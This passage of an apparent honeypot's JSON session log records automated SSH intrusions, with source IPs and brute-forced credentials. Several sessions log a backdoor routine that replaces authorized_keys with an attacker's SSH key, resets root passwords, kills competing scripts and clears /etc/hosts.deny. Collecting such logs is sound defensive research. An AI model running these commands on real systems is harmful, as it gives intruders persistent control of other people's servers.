/proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:52:01.370672+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:52:01.713811+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:52:03.168815+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:52:03.512883+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:52:04.467756+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:52:04.916081+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:52:05.166424+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:52:05.700455+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:52:06.101175+00:00","kind":"output","latency_ms":null,"data":" 13:52:06 up 7 days, 10:42, 0 user, load average: 0.03, 0.02, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:52:06.442678+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:52:06.713410+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:52:07.054070+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:52:07.932724+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:52:08.406800+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:52:08.946704+00:00","kind":"output","latency_ms":null,"data":"top - 13:52:08 up 7 days, 10:42, 0 user, load average: 0.03, 0.02, 0.02\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:52:09.471076+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:52:10.031185+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:52:10.378761+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:52:11.054339+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:52:11.394896+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:52:11.689040+00:00","kind":"output","latency_ms":null,"data":"terraria"},{"seq":29,"at":"2026-08-27T13:52:12.227744+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:52:13.685297+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:52:14.025910+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:52:14.884013+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"terraria","password":"12345","method":"password","accepted":true,"tier":"other"}]} {"id":"e68626b6-8810-48f2-a774-431c54c27500","name":"plucky-meadow-springbok","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":58494,"username":"terraria","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:51:58.385104+00:00","ended_at":"2026-08-27T13:51:59.094494+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"terraria","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"14283c8e-555b-48a4-9e89-0a401239e17e","name":"dutiful-hazel-fossa","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":56014,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:51:55.583671+00:00","ended_at":"2026-08-27T13:51:57.278137+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"87887e45-396e-43c6-8732-65879d98cf17","name":"murky-quaint-fossa","protocol":"http","channel_kind":"http","src_ip":"160.72.123.50","src_port":null,"username":null,"client_version":"Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.6 Mobile/15E148 Safari/604.1","auth_attempts":0,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:51:53.200774+00:00","ended_at":"2026-08-27T14:07:13.797428+00:00","ended_reason":"http session idle","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"a0dbc482-9ba1-4646-81ac-60b5bd6fa747","name":"sturdy-airy-yak","protocol":"ssh","channel_kind":null,"src_ip":"23.175.50.52","src_port":52511,"username":"user","client_version":"SSH-2.0-PuTTY_Release_0.70","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:51:03.539172+00:00","ended_at":"2026-08-27T13:51:07.705531+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user","password":"kisan","method":"password","accepted":true,"tier":"other"}]} {"id":"4e0ea59e-fb0d-4c7f-b6f3-6e1706d64a1e","name":"plush-fickle-wombat","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":40842,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":836,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:50:56.424213+00:00","ended_at":"2026-08-27T13:50:58.096000+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2150,"events":[{"seq":1,"at":"2026-08-27T13:50:27.757510+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:50:28.593567+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:50:35.271654+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:50:35.572247+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:50:36.422544+00:00","kind":"input","latency_ms":null,"data":"echo \"root:gX0AepmkI9ya\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:50:37.259086+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:50:38.105124+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:50:38.573195+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:50:39.410809+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:50:40.228313+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:50:41.070921+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:50:41.975194+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:50:42.810774+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:50:43.508364+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:50:44.344649+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:50:44.793087+00:00","kind":"output","latency_ms":null,"data":" 13:50:44 up 7 days, 10:40, 0 user, load average: 0.03, 0.04, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:50:45.628241+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:50:46.322795+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:50:47.157601+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:50:47.722799+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:50:48.567094+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:50:49.199437+00:00","kind":"output","latency_ms":null,"data":"top - 13:50:49 up 7 days, 10:40, 0 user, load average: 0.03, 0.04, 0.03\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:50:50.038380+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:50:50.413521+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:50:51.250683+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:50:51.716627+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:50:52.552697+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:50:52.959019+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T13:50:53.793760+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:50:55.591162+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:50:56.425204+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:50:57.825267+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"water123","method":"password","accepted":true,"tier":"other"}]} {"id":"a5957bdd-571b-48c9-9fab-60f795a25324","name":"fickle-dappled-opossum","protocol":"ssh","channel_kind":null,"src_ip":"63.141.242.2","src_port":55213,"username":"user","client_version":"SSH-2.0-PuTTY_Release_0.70","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:50:47.855274+00:00","ended_at":"2026-08-27T13:51:23.268784+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user","password":"kisan","method":"password","accepted":true,"tier":"other"}]} {"id":"f0be092e-d297-4f15-9891-9e6de13a7865","name":"foggy-northern-zebu","protocol":"ssh","channel_kind":null,"src_ip":"103.4.145.50","src_port":42792,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:50:33.706117+00:00","ended_at":"2026-08-27T13:50:35.003118+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"ac000417-c480-4e21-a9ca-fd81bba46837","name":"lanky-idle-albatross","protocol":"ssh","channel_kind":null,"src_ip":"103.4.145.50","src_port":41930,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:50:30.517608+00:00","ended_at":"2026-08-27T13:50:32.034997+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"237b36a7-699b-4aec-8fc5-2e313151be27","name":"plucky-velvet-skua","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":42894,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:50:27.419511+00:00","ended_at":"2026-08-27T13:50:29.404123+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"1qaz2wsx2014","method":"password","accepted":false,"tier":"probe"}]} {"id":"3203c129-2ce1-405d-97ca-304ea8303e3e","name":"muted-placid-merlin","protocol":"ssh","channel_kind":null,"src_ip":"63.141.242.2","src_port":54642,"username":"user","client_version":"SSH-2.0-PuTTY_Release_0.70","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:50:06.812376+00:00","ended_at":"2026-08-27T13:50:38.005610+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user","password":"kisan","method":"password","accepted":true,"tier":"other"}]} {"id":"512689b9-0866-4622-8b74-f092570cdfcd","name":"faded-nimble-turnstone","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":60362,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":339,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:49:19.683670+00:00","ended_at":"2026-08-27T13:49:21.107205+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2117,"events":[{"seq":1,"at":"2026-08-27T13:49:03.859531+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:49:04.196656+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:49:09.409625+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:49:09.410064+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:49:09.750207+00:00","kind":"input","latency_ms":null,"data":"echo \"root:bTmMCYzUCB6r\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:49:10.086965+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:49:10.423305+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:49:10.423873+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:49:10.760898+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:49:11.281119+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:49:11.619621+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:49:12.178576+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:49:12.642717+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:49:12.645116+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:49:12.977793+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:49:12.978294+00:00","kind":"output","latency_ms":null,"data":" 13:49:12 up 7 days, 10:39, 0 user, load average: 0.33, 0.32, 0.29\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:49:13.314738+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:49:13.315240+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:49:13.776298+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:49:13.778114+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:49:14.115316+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:49:14.841245+00:00","kind":"output","latency_ms":null,"data":"top - 13:49:14 up 7 days, 10:39, 0 user, load average: 0.33, 0.32, 0.29\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:49:15.232731+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:49:16.048546+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:49:16.384635+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:49:16.690270+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:49:17.031856+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:49:17.674335+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T13:49:18.207591+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:49:19.095185+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:49:19.684415+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:49:20.806392+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"1a2b3c4d","method":"password","accepted":true,"tier":"other"}]} {"id":"0a096a81-70b7-4de7-9ece-55164067846e","name":"pristine-ashen-hornbill","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":44912,"username":"user10","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":830,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:49:09.457236+00:00","ended_at":"2026-08-27T13:49:11.898519+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2082,"events":[{"seq":1,"at":"2026-08-27T13:48:39.231137+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:48:40.056856+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:48:47.152670+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:48:47.572755+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:48:48.406751+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\nMoENwCHQDIPS\\nMoENwCHQDIPS\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:48:49.236678+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\nMoENwCHQDIPS\\nMoENwCHQDIPS\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:48:50.075599+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:48:50.450599+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:48:51.297064+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:48:52.736521+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:48:53.566191+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:48:54.920510+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:48:55.751190+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:48:56.201784+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:48:57.032101+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:48:57.879163+00:00","kind":"output","latency_ms":null,"data":" 13:48:57 up 7 days, 10:39, 0 user, load average: 0.03, 0.03, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:48:58.710180+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:48:59.481495+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:49:00.311313+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:49:00.779015+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:49:01.603523+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:49:02.041172+00:00","kind":"output","latency_ms":null,"data":"top - 13:49:02 up 7 days, 10:39, 0 user, load average: 0.03, 0.03, 0.02\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:49:02.873699+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:49:03.703548+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:49:04.531079+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:49:05.410409+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:49:06.316467+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:49:06.707674+00:00","kind":"output","latency_ms":null,"data":"user10"},{"seq":29,"at":"2026-08-27T13:49:07.534433+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:49:08.612356+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:49:09.457901+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:49:11.634326+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"user10","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"5a2ebe85-1245-44a2-9098-d2a7b933437d","name":"graceful-painted-mallard","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":38722,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:49:08.017663+00:00","ended_at":"2026-08-27T13:49:09.308502+00:00","ended_reason":"no channel 